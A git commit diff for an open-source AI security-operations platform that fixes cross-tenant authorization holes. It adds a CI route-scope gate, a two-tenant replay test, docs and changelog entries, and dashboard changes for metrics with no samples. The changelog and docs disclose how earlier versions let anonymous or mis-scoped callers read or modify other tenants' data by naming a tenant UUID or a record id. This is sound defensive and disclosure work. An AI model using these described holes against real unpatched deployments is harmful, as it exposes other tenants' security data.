Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

Thirty routes that let the caller name the tenant they were reading (#813)

Beenu Aroraa145132f7b50
diff --git a/.github/workflows/isolation.yml b/.github/workflows/isolation.yml
index 2652e69c5..affb16fd0 100644
--- a/.github/workflows/isolation.yml
+++ b/.github/workflows/isolation.yml
@@ -5,17 +5,37 @@ name: Tenant Isolation
# include tenant B). The live-container replay lands with Phase 3's integration
# tier. Table-driven (tests/isolation/stores.py) so a new store cannot ship
# without an isolation entry.
+#
+# The route-scope job answers the question the store jobs cannot: the stores
+# isolate whichever tenant they are handed, so it still matters where that
+# tenant came from. `/fusion/entity-risk/*` took it from the query string with
+# no auth dependency on the route, on both the API gateway and the fusion
+# service, and key-prefixed Redis storage did nothing to help. That job runs
+# over every service, which is why its path filter is `services/**` rather
+# than the narrow list the store jobs use.
on:
push:
branches: [main, develop]
paths:
- "tests/isolation/**"
- - "services/threatintel/app/storage/qdrant.py"
+ - "services/**"
+ - "scripts/check_route_tenant_scope.py"
+ - "scripts/sync_vendored_tenant_scope.py"
+ - ".github/workflows/isolation.yml"
pull_request:
paths:
- "tests/isolation/**"
- - "services/threatintel/app/storage/qdrant.py"
+ - "services/**"
+ - "scripts/check_route_tenant_scope.py"
+ - "scripts/sync_vendored_tenant_scope.py"
+ - ".github/workflows/isolation.yml"
+ # Matching isolation-live.yml, so a maintainer can run the isolation gate on
+ # demand rather than only when a path filter happens to match.
+ workflow_dispatch:
+
+permissions:
+ contents: read
jobs:
isolation:
@@ -33,4 +53,71 @@ jobs:
run: pip install --quiet qdrant-client structlog pytest pytest-asyncio
- name: Run isolation suite
- run: python -m pytest tests/isolation -v --tb=short
+ run: python -m pytest tests/isolation -v --tb=short --ignore=tests/isolation/test_route_tenant_scope.py
+
+ route-scope:
+ name: Route tenant scope (no route lets its caller name the tenant)
+ runs-on: ubuntu-latest
+ # A leak here is reachable from any browser, so this gate is not advisory.
+ steps:
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
+
+ - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
+ with:
+ python-version: "3.12"
+
+ # The gate itself is stdlib-only (ast). The suite additionally drives the
+ # real fusion router over ASGI, which is the point — a stubbed router
+ # would not prove anything about the shipped one — so its module-level
+ # import chain has to resolve here. `aiokafka` and `asyncpg` arrive
+ # through `app.workers.consumer` and the alert/DLQ sinks. The heavier
+ # ML and ClickHouse deps do not: `lightgbm`, `scikit-learn`, `numpy` and
+ # `clickhouse-driver` are all imported inside functions, so they stay
+ # out of this job rather than adding minutes to it.
+ - name: Install deps
+ run: >-
+ pip install --quiet
+ pytest pytest-asyncio httpx "fastapi>=0.117,<0.142" pydantic
+ structlog "redis>=5,<6" "pydantic-settings>=2.1,<3"
+ "aiokafka>=0.10,<0.15" "asyncpg>=0.29,<0.31" "cryptography>=46,<51"
+
+ # Proves the gate can fail before trusting it to pass. Injects a route
+ # taking a tenant with no auth, one taking a tenant with auth but no
+ # intersection, and strips the verifier a conditional exemption names —
+ # all three must be reported, and the two clean controls must not be.
+ - name: Gate self-test (both directions)
+ run: python scripts/check_route_tenant_scope.py --self-test
+
+ - name: Route inventory
+ run: python scripts/check_route_tenant_scope.py --inventory
+
+ - name: Every tenant-taking route authenticates and intersects
+ run: python scripts/check_route_tenant_scope.py
+
+ - name: Vendored tenant_scope copies are in lockstep
+ run: python scripts/sync_vendored_tenant_scope.py --check
+
+ - name: Start Redis for the two-tenant route replay
+ run: |
+ docker run -d --name route-iso-redis -p 6379:6379 redis:7-alpine
+ for _ in $(seq 1 30); do
+ if docker exec route-iso-redis redis-cli PING 2>/dev/null | grep -q PONG; then
+ echo "redis up"; exit 0
+ fi
+ sleep 1
+ done
+ echo "redis did not come up" >&2
+ exit 1
+
+ # Seeds tenant A and tenant B through the real EntityRiskEngine, asserts
+ # both genuinely hold rows, then drives the shipped fusion routes and
+ # asserts an anonymous caller, an undeclared service token, and a
+ # console session for B are each refused A's data.
+ - name: Two-tenant replay against the real routes
+ env:
+ AISOC_ISOLATION_REDIS_URL: redis://localhost:6379/9
+ run: python -m pytest tests/isolation/test_route_tenant_scope.py -v --tb=short
+
+ - name: Stop Redis
+ if: always()
+ run: docker rm -f route-iso-redis || true
diff --git a/CHANGELOG.md b/CHANGELOG.md
index ee56a3104..f5fd9df61 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -430,6 +430,32 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
properties. Wired into `.github/workflows/competitor-names.yml`, which runs
on pull requests *and* pushes to `main` with no paths filter.
+- **A gate that fails when a route lets its caller name the tenant.**
+ `scripts/check_route_tenant_scope.py` is an AST pass over every route
+ decorator and signature under `services/` — a structural property needs a
+ structural check, and the thing being looked for (a parameter's name, a
+ decorator's `dependencies` list, the router object the decorator hangs off)
+ survives renames a regex would miss. It fails in **both** directions: a
+ route that takes a tenant identifier with no auth dependency, and a route
+ that accepts one without intersecting it with the caller's scope. It reads
+ request-body models too, because `POST {"tenant_id": "<someone else's>"}` is
+ the same hole as `?tenant_id=` and the mutating routes carry it on the body.
+
+ `--self-test` injects a violation of each kind and asserts both are caught
+ while two clean controls pass, so the gate cannot quietly stop detecting
+ things. Exemptions each carry a written reason and are as narrow as the
+ facts allow: `services/mesh` is public by design (Ed25519 + k-anonymity, a
+ bearer token would break federation rather than secure it); three MSSP
+ routes *define* a scope rather than read within one, so intersecting would
+ make them impossible; and `osquery-tls` `/enroll` authenticates with a
+ per-tenant enroll secret because osqueryd has no session yet. That last
+ exemption is **conditional** — the self-test strips the verifier it names
+ and asserts the route is then reported, so deleting the check and keeping
+ the entry fails the build. The gate resolves its repository root from `git
+ rev-parse` rather than its own file location, and prints how many routes
+ across how many files it opened, so an OK can be distinguished from a scan
+ that never happened. `--inventory` prints the per-service table.
+
- **Tool attribution is now prevented at commit time and blocked in CI.** AiSOC
does not attribute work to a development tool or AI assistant. An audit found
the rule was being broken automatically: a `Co-authored-by:` trailer naming an
@@ -569,6 +595,70 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
parity gate's interpreter instead of producing its diagnostic. The import
now raises `ImportError`, which that handler catches.
+- **Thirty routes across six services let the caller name the tenant they were
+ reading.** `/fusion/entity-risk/*` was the reported instance and the worst
+ one: three routes on the API gateway and three on the fusion service took
+ `tenant_id` as a query parameter with no auth dependency at all. The console
+ reaches fusion *directly* through a Next rewrite when `FUSION_URL` is set, so
+ those routes were reachable from any browser on the internet, and an
+ anonymous request naming another tenant's UUID returned that tenant's
+ entity-risk queue, stats and per-entity detail. The engine's own docstring
+ asserted the missing control — "the tenant_id is part of the key prefix and
+ the API service re-checks tenant on read" — and the second half was not true
+ on either side. Key prefixing isolates whichever tenant it is handed;
+ validating the parameter's *value* fixes nothing, because a UUID that parses
+ is still a UUID the caller chose.
+
+ An AST pass over all 600 routes in `services/` found the same shape in five
+ more places, in two flavours. Taking a tenant with no authentication:
+ `services/agents` `/triage/{run_id}`, `/cases/{id}/triage`,
+ `/cases/{id}/investigate`, `/investigations` and `/explain`; and six
+ `services/osquery-tls` routes. Taking one *with* authentication but never
+ intersecting it with the caller's scope: `honeytokens`, `purple-team` and
+ `ueba`, where a router-level service token proved the caller was a trusted
+ service but said nothing about which tenant it was acting for.
+
+ The tenant now comes from the credential. A new
+ `app/security/tenant_scope.py`, vendored into the six services that need it,
+ resolves either a console session (the first-party HS256 access token, whose
+ verified `tenant_id` claim is authoritative) or a trusted service declaring
+ the tenant it acts for on `X-AiSOC-Tenant-ID`. A `tenant_id` on the request
+ survives only as a *filter*, intersected with that scope, so an MSSP
+ operator can still narrow to one managed customer while naming an outside
+ tenant narrows to nothing and returns 403. A service token that declares no
+ tenant resolves to an empty scope and is refused: absent is never all, which
+ is the shape every cross-tenant leak in this codebase has had. The HS256
+ verification is stdlib-only and mirrors `services/realtime/src/auth.ts`,
+ rejecting `alg: none`, a refresh token presented for access, and an expired
+ or wrongly-signed token.
+
+ Closing these surfaced a worse variant the parameter audit could not see:
+ eight routes matched on an id with **no tenant predicate at all**.
+ `honeytokens` `GET/PATCH/DELETE /{token_id}` and `/{token_id}/triggers`,
+ `purple-team` `PATCH /executions/{id}/detection` and the three
+ `/tabletop/{session_id}` routes, and `ueba`
+ `PATCH /anomalies/{id}/acknowledge`. Any caller could read, revoke or delete
+ another tenant's honeytoken, overwrite another tenant's detection outcome,
+ or acknowledge away another tenant's anomaly by naming its UUID. All eight
+ now filter on the caller's tenant as well as the id, so a foreign row is a
+ 404 — which is what it is, from that caller's point of view.
+
+- **`services/osquery-tls` enrolled every node under the literal `"default"`,
+ which resolves to no tenant on any seeded deployment.** The service keys
+ `tenant_id` as a `String(64)` while the platform keys UUIDs, and nothing
+ translated. Migration `001` seeds the canonical tenant with slug `default`,
+ but the demo seed renames that slug to `demo`, so the literal matched
+ neither the UUID nor the slug and silently matched nothing: FIM events were
+ written under a string the console could never ask for, and the FIM surface
+ returned an empty table that looked like "no file changes" rather than "the
+ read and the write disagree". `app/services/tenant_resolver.py` now resolves
+ the placeholder to the canonical seed tenant by its **stable UUID** —
+ ignoring whatever the slug has been renamed to — falling back to the sole
+ tenant of a single-tenant install, and refusing enrolment for a genuinely
+ unknown ref rather than filing the node under an unreadable tenancy. Skips
+ log at `warning` with the ref; a silent `debug` skip is how the original bug
+ survived.
+
- **The maintainers' hosted origin shipped in the default CORS allow-list of
nine services.** `services/{api,agents,connectors,honeytokens,purple-team,ueba}`
(six byte-identical copies of the shared `cors.py`), `services/realtime`, and
@@ -885,6 +975,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
`RunStatus` and the dispatch report, and `check_playbook_schema_parity.py`
now compares the published union against the engine's in both directions.
+- **`false_positive_rate` and `escalation_rate` published `0.0` on an empty
+ denominator.** `x / n if n > 0 else 0.0` renders an undefined ratio as a
+ measured zero, and for these two the zero is flattering: "0% false
+ positives" and "0% escalated" are the two best numbers on the SOC metrics
+ page, and a tenant that had resolved nothing and gated nothing scored both.
+ This is the same defect as the MTTD/MTTR/MTTC means that shipped a NULL
+ average as a confident `0.0`, one step removed, and it takes the same fix:
+ `/metrics/soc` now reports `false_positive_rate_sample_count` and
+ `escalation_rate_sample_count` alongside the rates, and the console renders
+ "not measured · no resolved alerts in 7d" rather than a percentage. The
+ fields are additive and optional, so a console running against an older API
+ keeps its previous behaviour rather than blanking the tiles — a paired test
+ holds that direction too, because "blank everything" would be a worse
+ regression than the bug.
+
- **An event ingested under a connector type with no profile became an alert
with no host, no user and no source IP.** `_canonicalAliases` in
`services/ingest/internal/normalizer/normalizer.go` already resolved
diff --git a/apps/docs/docs/compliance/evidence-pack.md b/apps/docs/docs/compliance/evidence-pack.md
index 90f22d65a..3e275a7ef 100644
--- a/apps/docs/docs/compliance/evidence-pack.md
+++ b/apps/docs/docs/compliance/evidence-pack.md
@@ -33,7 +33,7 @@ and says so.
| Prompt-injection resistance | 32-payload adversarial corpus with a recall floor and a false-positive ceiling | `services/agents/tests/adversarial/` |
| Claim-to-gate traceability | Every product claim mapped to the CI job that fails when it stops being true | `docs/audit/CLAIM_TO_GATE_MATRIX.md` |
-The last row is the one worth reading first. It is the honest index: 119 rows
+The last row is the one worth reading first. It is the honest index: 120 rows
`GATED`, 9 `PARTIAL` with the specific gap named, and a ratchet that refuses
to let a row sit at `NO GATE`.
diff --git a/apps/docs/docs/operations/security.md b/apps/docs/docs/operations/security.md
index f1821baf2..a7a949222 100644
--- a/apps/docs/docs/operations/security.md
+++ b/apps/docs/docs/operations/security.md
@@ -116,6 +116,55 @@ If `app.current_tenant_id` is not set (e.g. an internal job that needs to operat
The `users` table is excluded from RLS deliberately — it would create a chicken-and-egg problem during authentication. Tenant filtering on `users` is enforced at the application layer through `get_current_user()`.
+### The tenant comes from the credential, never from the request
+
+Row-Level Security answers one question: *given* a tenant, can this query see
+another one's rows? It cannot answer the question above it — where did that
+tenant come from? If a route reads it out of the query string, RLS dutifully
+isolates whichever tenant the caller typed.
+
+That is not hypothetical. `/fusion/entity-risk/*` took `tenant_id` as a query
+parameter with no auth dependency on the route, on both the API gateway and
+the fusion service, and the console reaches fusion *directly* through a
+Next.js rewrite when `FUSION_URL` is set. An anonymous request naming another
+tenant's UUID returned that tenant's entity-risk queue. Redis key prefixing
+(`aisoc:fusion:rba:topn:{tenant}`) did not help, because prefixing isolates
+whichever tenant it is handed. Nor would validating the parameter: a UUID that
+parses is still a UUID the caller chose.
+
+So the rule across every service is:
+
+- **The authoritative tenant is the authenticated principal's.** In
+ `services/api` that is `CurrentUser.tenant_id`. In the services the browser
+ reaches directly (`agents`, `fusion`, `osquery-tls`) and the
+ service-to-service ones (`honeytokens`, `purple-team`, `ueba`), it is
+ resolved by `app/security/tenant_scope.py`, which accepts either a console
+ session — the first-party HS256 access token, whose verified `tenant_id`
+ claim is authoritative — or a trusted service declaring the tenant it acts
+ for on the `X-AiSOC-Tenant-ID` header.
+- **A `tenant_id` on the request is a filter, not a selector.** It is
+ intersected with the caller's scope through `resolve_scoped_tenant()`, so an
+ MSSP operator can narrow to one managed customer while naming an outside
+ tenant returns `403` rather than that tenant's data. Omitting it reads the
+ caller's own tenant, which is what the console does.
+- **No scope never becomes all scopes.** A service token that declares no
+ tenant resolves to an *empty* scope and is refused. Cross-tenant surfaces
+ (the MSSP portfolio) resolve their tenant list in
+ `app/services/org_scope.py` and pass it through `require_scope()`, which
+ raises rather than running unfiltered SQL. Every cross-tenant leak this
+ codebase has had took the shape of a scope that was absent rather than
+ narrow, and a read that treated absent as "no filter".
+
+`scripts/check_route_tenant_scope.py` enforces this structurally. It is an AST
+pass over every route in `services/` and fails in both directions — a route
+taking a tenant identifier with no auth dependency, and a route accepting one
+without intersecting it with scope — including tenant fields on request-body
+models, since `POST {"tenant_id": …}` is the same hole as `?tenant_id=`. Run
+`--inventory` for the per-service table or `--self-test` to watch it catch
+injected drift. `services/mesh` is exempt by design: it is a federated hub
+protected by Ed25519 signatures and k-anonymity, where a shared bearer token
+would break federation rather than secure it.
+
### MSSP parent/child links require the child's consent
A managed provider can hold other tenants as children (`tenants.parent_tenant_id`), which grants the parent real authority over them: rule packs, per-rule overrides, notes and delegations are all keyed on the child's tenant id, and an override with `action: "exclude"` removes a detection rule from the ruleset that child's hunts run against.
diff --git a/apps/web/src/components/dashboard/DashboardHonesty.test.tsx b/apps/web/src/components/dashboard/DashboardHonesty.test.tsx
index 760f3f60e..92dca658d 100644
--- a/apps/web/src/components/dashboard/DashboardHonesty.test.tsx
+++ b/apps/web/src/components/dashboard/DashboardHonesty.test.tsx
@@ -275,6 +275,77 @@ describe('a mean over no samples is unmeasured, not zero', () => {
expect(screen.queryByText(/not measured/i)).toBeNull();
});
+ /**
+ * The same defect as the means, one step removed. `x / n if n > 0 else 0.0`
+ * renders an undefined ratio as a confident zero, and for these two the
+ * zero is flattering: "0% false positives" and "0% escalated" are the best
+ * numbers on the page, and a tenant that had resolved nothing and gated
+ * nothing scored both. The API now sends each rate's denominator.
+ */
+ it('reports both rates as unmeasured when their denominators are empty', () => {
+ swrData.set('soc-metrics', {
+ kpis: {
+ ...KPIS,
+ mttd_sample_count: 1,
+ mttr_sample_count: 1,
+ mttc_sample_count: 1,
+ mttd_hours: 1.1,
+ mttr_hours: 2.2,
+ mttc_hours: 3.3,
+ false_positive_rate_sample_count: 0,
+ escalation_rate_sample_count: 0,
+ },
+ attack_heatmap: [],
+ calibration_curve: [],
+ });
+
+ render(<SOCMetricsDashboard />);
+
+ // Exactly the two rate tiles; the three means have samples here, so a
+ // count of two also proves the change did not blank anything else.
+ expect(screen.getAllByText(/not measured/i).length).toBe(2);
+ expect(screen.getByText(/no resolved alerts in 7d/i)).toBeTruthy();
+ expect(screen.getByText(/no gate decisions in 7d/i)).toBeTruthy();
+ expect(screen.queryByText('0.0%')).toBeNull();
+ });
+
+ it('renders each rate, and what it was computed over, once the denominator is non-empty', () => {
+ swrData.set('soc-metrics', {
+ kpis: {
+ ...KPIS,
+ false_positive_rate: 0.25,
+ false_positive_rate_sample_count: 8,
+ escalation_rate: 0.5,
+ escalation_rate_sample_count: 4,
+ },
+ attack_heatmap: [],
+ calibration_curve: [],
+ });
+
+ render(<SOCMetricsDashboard />);
+
+ expect(screen.getByText('25.0%')).toBeTruthy();
+ expect(screen.getByText(/over 8 resolved alerts in 7d/i)).toBeTruthy();
+ expect(screen.getByText('50.0%')).toBeTruthy();
+ expect(screen.getByText(/over 4 gate decisions in 7d/i)).toBeTruthy();
+ });
+
+ it('keeps rendering rates for an API build that sends no denominators', () => {
+ // Same back-compatibility rule as the means: additive fields, and an
+ // older API must not blank the tiles.
+ swrData.set('soc-metrics', {
+ kpis: { ...KPIS, false_positive_rate: 0.1, escalation_rate: 0.2, mttd_sample_count: 1, mttr_sample_count: 1, mttc_sample_count: 1 },
+ attack_heatmap: [],
+ calibration_curve: [],
+ });
+
+ render(<SOCMetricsDashboard />);
+
+ expect(screen.getByText('10.0%')).toBeTruthy();
+ expect(screen.getByText('20.0%')).toBeTruthy();
+ expect(screen.queryByText(/not measured/i)).toBeNull();
+ });
+
it('does not label an hours figure as minutes on the operations strip', () => {
// `alerts.mttr` is hours and the tile rendered it with an `m` suffix, so
// a 1.5-hour MTTR would have read "1.5m" had it ever been non-zero.
diff --git a/apps/web/src/components/dashboard/SOCMetricsDashboard.tsx b/apps/web/src/components/dashboard/SOCMetricsDashboard.tsx
index a81166755..30d7c3f92 100644
--- a/apps/web/src/components/dashboard/SOCMetricsDashboard.tsx
+++ b/apps/web/src/components/dashboard/SOCMetricsDashboard.tsx
@@ -28,6 +28,8 @@ const MOCK_SOC_METRICS: SOCMetrics = {
mttd_sample_count: 1247,
mttr_sample_count: 34,
mttc_sample_count: 12,
+ false_positive_rate_sample_count: 412,
+ escalation_rate_sample_count: 168,
},
attack_heatmap: [
{ tactic: "Execution", technique: "T1059 Command & Scripting", count: 42 },
@@ -149,6 +151,58 @@ function MeanHoursCard({
);
}
+/**
+ * A ratio over an empty denominator is unmeasured, not zero.
+ *
+ * Same defect as the means above, one step removed: the API computed
+ * `x / n if n > 0 else 0.0`, so a tenant that had resolved nothing and gated
+ * nothing scored 0% false positives and 0% escalations — the two best numbers
+ * on the page, both awarded for having done nothing. The denominator now
+ * travels with each rate, so the tile can say which it is. `sampleCount` is
+ * optional, so an older API that sends no counts keeps its previous
+ * behaviour rather than blanking the tile.
+ */
+function RateCard({
+ label,
+ rate,
+ sampleCount,
+ denominatorLabel,
+ warnAbove,
+ cautionAbove,
+ window,
+}: {
+ label: string;
+ rate: number | undefined;
+ sampleCount: number | undefined;
+ denominatorLabel: string;
+ warnAbove: number;
+ cautionAbove: number;
+ window: string;
+}) {
+ if (rate === undefined || sampleCount === 0) {
+ return (
+ <KpiCard
+ label={label}
+ value="—"
+ color="text-gray-500"
+ hint={sampleCount === 0 ? `not measured · no ${denominatorLabel} in ${window}` : undefined}
+ />
+ );
+ }
+ return (
+ <KpiCard
+ label={label}
+ value={`${(rate * 100).toFixed(1)}%`}
+ color={rate > warnAbove ? "text-red-400" : rate > cautionAbove ? "text-yellow-400" : "text-green-400"}
+ hint={
+ sampleCount === undefined
+ ? undefined
+ : `over ${sampleCount} ${denominatorLabel} in ${window}`
+ }
+ />
+ );
+}
+
const TACTIC_COLORS: Record<string, string> = {
"Initial Access": "bg-red-900",
Execution: "bg-orange-900",
@@ -310,33 +364,23 @@ export function SOCMetricsDashboard() {
cautionAbove={8}
window="7d"
/>
- <KpiCard
+ <RateCard
label="Escalation Rate"
- value={
- kpis ? `${(kpis.escalation_rate * 100).toFixed(1)}%` : "—"
- }
- color={
- (kpis?.escalation_rate ?? 0) > 0.5
- ? "text-red-400"
- : (kpis?.escalation_rate ?? 0) > 0.25
- ? "text-yellow-400"
- : "text-green-400"
- }
+ rate={kpis?.escalation_rate}
+ sampleCount={kpis?.escalation_rate_sample_count}
+ denominatorLabel="gate decisions"
+ warnAbove={0.5}
+ cautionAbove={0.25}
+ window="7d"
/>
- <KpiCard
+ <RateCard
label="False Positive Rate"
- value={
- kpis
- ? `${(kpis.false_positive_rate * 100).toFixed(1)}%`
- : "—"
- }
- color={
- (kpis?.false_positive_rate ?? 0) > 0.3
- ? "text-red-400"
- : (kpis?.false_positive_rate ?? 0) > 0.15
- ? "text-yellow-400"
- : "text-green-400"
- }
+ rate={kpis?.false_positive_rate}
+ sampleCount={kpis?.false_positive_rate_sample_count}
+ denominatorLabel="resolved alerts"
+ warnAbove={0.3}
+ cautionAbove={0.15}
+ window="7d"
/>
<KpiCard
label="Alert Volume (7d)"
diff --git a/apps/web/src/lib/api.ts b/apps/web/src/lib/api.ts
index 4ecc92dd3..ba7132f5a 100644
--- a/apps/web/src/lib/api.ts
+++ b/apps/web/src/lib/api.ts
@@ -1236,12 +1236,15 @@ export interface EntityRiskStats {
*/
const FUSION_PATH = '/api/v1/fusion';
-// These three routes take the tenant as a *query parameter* as well as the
-// `X-Tenant-Id` header, so the two have to agree or the queue reports on a
-// different tenant than the rest of the console. They read the module-scope
-// env constant, which is fixed at build time and therefore ignores both the
-// logged-in user and the tenant switcher; `getActiveTenantId()` is the same
-// resolution `request()` uses for the header.
+// The tenant is no longer sent by default. It used to be, resolved from the
+// build-time `NEXT_PUBLIC_TENANT_ID` when nothing better was cached — and the
+// server took whatever arrived, because the entity-risk routes had no auth
+// dependency at all. Now the server derives the tenant from the bearer token
+// and treats the parameter as a filter it intersects with that scope, so
+// sending a stale build-time value would turn into a 403 for a perfectly
+// legitimate session. Omitting it is both safer and more correct: an explicit
+// `tenantId` is still honoured for an operator narrowing to one managed
+// customer, and naming a tenant outside their scope is refused server-side.
export const entityRiskApi = {
/** Top-N entities by current decayed risk score. */
queue: (params: {
@@ -1251,7 +1254,7 @@ export const entityRiskApi = {
} = {}) =>
request<EntityRiskQueueResponse>(`${FUSION_PATH}/entity-risk/queue`, {
params: {
- tenant_id: params.tenantId ?? getActiveTenantId(),
+ tenant_id: params.tenantId,
limit: params.limit ?? 25,
promoted_only: params.promotedOnly ? 'true' : undefined,
},
@@ -1260,7 +1263,7 @@ export const entityRiskApi = {
/** Tenant-scoped queue stats for dashboards (banding, totals, threshold). */
stats: (tenantId?: string) =>
request<EntityRiskStats>(`${FUSION_PATH}/entity-risk/stats`, {
- params: { tenant_id: tenantId ?? getActiveTenantId() },
+ params: { tenant_id: tenantId },
}),
/** Full risk record for a single entity (drawer detail). */
@@ -1268,7 +1271,7 @@ export const entityRiskApi = {
const pathType = entityType === 'ip' ? 'src_ip' : entityType;
return request<EntityRiskRecord>(
`${FUSION_PATH}/entity-risk/${pathType}/${encodeURIComponent(entityValue)}`,
- { params: { tenant_id: tenantId ?? getActiveTenantId() } },
+ { params: { tenant_id: tenantId } },
);
},
};
@@ -2065,6 +2068,14 @@ export interface SOCKpis {
mttd_sample_count?: number;
mttr_sample_count?: number;
mttc_sample_count?: number;
+ /**
+ * The denominator each rate above was computed over. Zero means the rate is
+ * undefined rather than 0% — a tenant that has resolved nothing has not
+ * achieved a 0% false-positive rate. Optional for the same reason as the
+ * sample counts.
+ */
+ false_positive_rate_sample_count?: number;
+ escalation_rate_sample_count?: number;
}
export interface AttackHeatmapCell {
diff --git a/docs/audit/CLAIM_TO_GATE_MATRIX.md b/docs/audit/CLAIM_TO_GATE_MATRIX.md
index 67c003fb9..f5e0024a9 100644
--- a/docs/audit/CLAIM_TO_GATE_MATRIX.md
+++ b/docs/audit/CLAIM_TO_GATE_MATRIX.md
@@ -126,6 +126,7 @@ Statuses: `GATED` (a CI job fails when the claim stops being true) · `PARTIAL`
| SIEM integrations are two-way: an AiSOC verdict reaches the finding that raised it | docs/integrations/siem-writeback.md | `ci.yml` actions job (`test_disposition_writeback.py` — a confirmed true positive escalates and is never closed, an unrecognised verdict is refused rather than normalised, and the taxonomy is compared against the agents service so a verdict present on one side only cannot silently mean nothing) + `test_siem_client_signatures.py` (every close and escalate arm autospec'd against its real client) + api job (`test_siem_writeback.py` — refusals, simulations and transport failures all record `executed=False`) + fusion job (`test_source_finding_link.py` — `finding.uid` reaches `alerts.external_id`, and only a vendor with a writeback arm gets a link row) | GATED | - |
| No OSS default resolves to a specific deployment's hostname, so a self-hosted install never presents another deployment's host as its own | self-host contract; `apps/docs/docs/deployment/env-vars.md` (CORS default) | `hosted-hostname.yml` (`scripts/check_hosted_hostname.py` — an exact occurrence count per path, checked in **both** directions: a new or grown occurrence and a stale exemption whose occurrence is gone both fail, so an allow-list entry cannot outlive what justified it; the root is resolved from the working directory rather than `__file__` and verified against sentinels, a zero-match scan is reported as broken rather than clean, and `--self-test` runs first proving the detector separates known-bad from known-good and that the comparison rejects a vacuous pass; it also pins the six vendored `cors.py` copies byte-identical) + `tests/test_hosted_hostname_gate.py` (39 cases, including the ten runtime defaults that leaked and a check that the CORS-tuple extractor itself would notice the origin coming back) | GATED | - |
| A dry run never reaches a customer's vendor | live-action dry-run contract | `ci.yml` actions job (`test_dry_run_credential_strip.py` — each client factory's read set is re-derived from its own source and compared with the adapter's strip list, stripping that set is asserted to make the factory return `None`, and an end-to-end dry run with full credentials trips a wire if any factory returns a client) | GATED | the wire covers the four SIEM factories the writeback path uses; other vendors' adapters are covered by the strip-list equality check only |
+| No route lets its caller name the tenant it reads; a tenant parameter is intersected with the caller's scope | (implied by multi-tenant); `tests/isolation/README.md` | `isolation.yml :: route-scope` (`scripts/check_route_tenant_scope.py` — an AST pass over all routes under `services/`, failing in **both** directions: a route taking a tenant identifier with no auth dependency, and a route accepting one without passing it through a scope intersection. Request-body models are read too, since a `tenant_id` on a POST body is the same hole as a query parameter. `--self-test` injects a violation of each kind, asserts two clean controls pass, and strips the verifier the one conditional exemption names to prove a stale exemption is dropped; the root comes from `git rev-parse` and the scan prints how many routes across how many files it opened) + `tests/isolation/test_route_tenant_scope.py` (the vendored HS256 verifier rejects `alg: none`, a refresh token, a wrong key and an expired token; an empty scope refuses rather than widening; and a two-tenant replay seeds A and B through the real `EntityRiskEngine`, asserts both genuinely hold rows, then asserts an anonymous caller, an undeclared service token and a console session for B are each refused A's entity-risk queue) + `sync_vendored_tenant_scope.py --check` (six copies byte-identical but for `SERVICE_NAME`) | GATED | `services/mesh` is exempt by design (Ed25519 + k-anonymity; a bearer token would break federation rather than secure it) and three MSSP routes that *define* a scope rather than read within one are exempt with the constraint that stands in for the intersection named per row |
| Documentation and marketing name no competitor product, while vendors AiSOC integrates with stay named | AGENTS.md (naming rule); docs portal + benchmark comparison tables | `competitor-names.yml` (`scripts/check_competitor_names.py` — an explicit name list plus a path allow-list for integration surfaces, both checked in both directions: a dead pattern, a stale allow entry that no longer excuses anything, and a drifted comparison-table marker each fail rather than reporting a clean tree; the scan prints the absolute root and file count so it cannot report on a tree it never read) + `tests/test_competitor_names_gate.py` (42 cases, including `Torq` asserted as a competitor in prose *and* left untouched across its connector module, manifest, docs page and tests) | GATED | the name list is AI-SOC/SOAR rivals; vendors that are purely integration targets are deliberately absent from it and are instead held out of the pinned comparison-table regions, which are checked against a wider vendor list |
| The published playbook schema describes the engine that runs playbooks | concepts/playbooks.md (step table + `x-aisoc-execution`); `schemas/playbook.schema.json` | `ci.yml` P2 job (`scripts/check_playbook_schema_parity.py --self-test` — compares the schema enum, the `StepType` enum, the engine's `_HANDLERS` table, the `x-aisoc-execution` map, `bounds.py` and the pack validator's trigger list, **every pair in both directions**; refuses to run on a tree missing its marker files instead of printing OK about files it never opened, and names the root, schema, step counts and playbook count it inspected) + `scripts/lint_playbooks.py` (every `*.playbook.json` in the tree, not the two it used to scan while reporting "2/2 passed") + `tests/test_playbook_schema_parity_gate.py` (18 cases; drift injected in each direction and the gate asserted to name it) | GATED | the `governed` execution class is compared against `engine.RESPONSE_STEP_TYPES` in both directions, and the published `StepType` union in `packages/types` against the engine's, because that file had drifted into a fourth 28-member vocabulary nothing imported. `approval` is the one remaining unimplemented type and the schema says so |
| A step a playbook engine cannot run never reports that it ran | concepts/playbooks.md (error handling) | `ci.yml` agents job (`test_playbook_engine_correctness.py::TestUnimplementedStepTypesFailClosed` — an `approval` gate the engine cannot honour halts the run instead of passing it, every handler-less `StepType` is asserted to fail rather than succeed, a missing handler is not retried, an explicit `on_failure: continue` is still honoured, and a dry run reports `would_fail` rather than a bare `dry_run: true`) | GATED | - |
@@ -139,7 +140,7 @@ Statuses: `GATED` (a CI job fails when the claim stops being true) · `PARTIAL`
## Summary
-- GATED: 119
+- GATED: 120
- PARTIAL: 9
- NO GATE: 0 (**every claim is backed by a failing test.** The last NO GATE — the weekly benchmark scoreboard running live against `main` — closed in Phase E1: `scripts/check_scoreboard.py` ties the published scoreboard to a deterministic per-PR live-agent MITRE-accuracy run, while the funded weekly `wet-eval.yml` appends the LLM-tier rows. The remaining PARTIAL rows are honest, named deferrals — each states the specific gap and what closes it — not unproven claims.)
diff --git a/docs/openapi.yaml b/docs/openapi.yaml
index fc4e8cdf9..f35408e15 100644
--- a/docs/openapi.yaml
+++ b/docs/openapi.yaml
@@ -13809,13 +13809,17 @@ paths:
- fusion
summary: Top entities by risk score
operationId: entity_risk_queue_api_v1_fusion_entity_risk_queue_get
+ security:
+ - HTTPBearer: []
parameters:
- name: tenant_id
in: query
- required: true
+ required: false
schema:
- type: string
- format: uuid
+ anyOf:
+ - type: string
+ format: uuid
+ - type: 'null'
title: Tenant Id
- name: limit
in: query
@@ -13855,13 +13859,17 @@ paths:
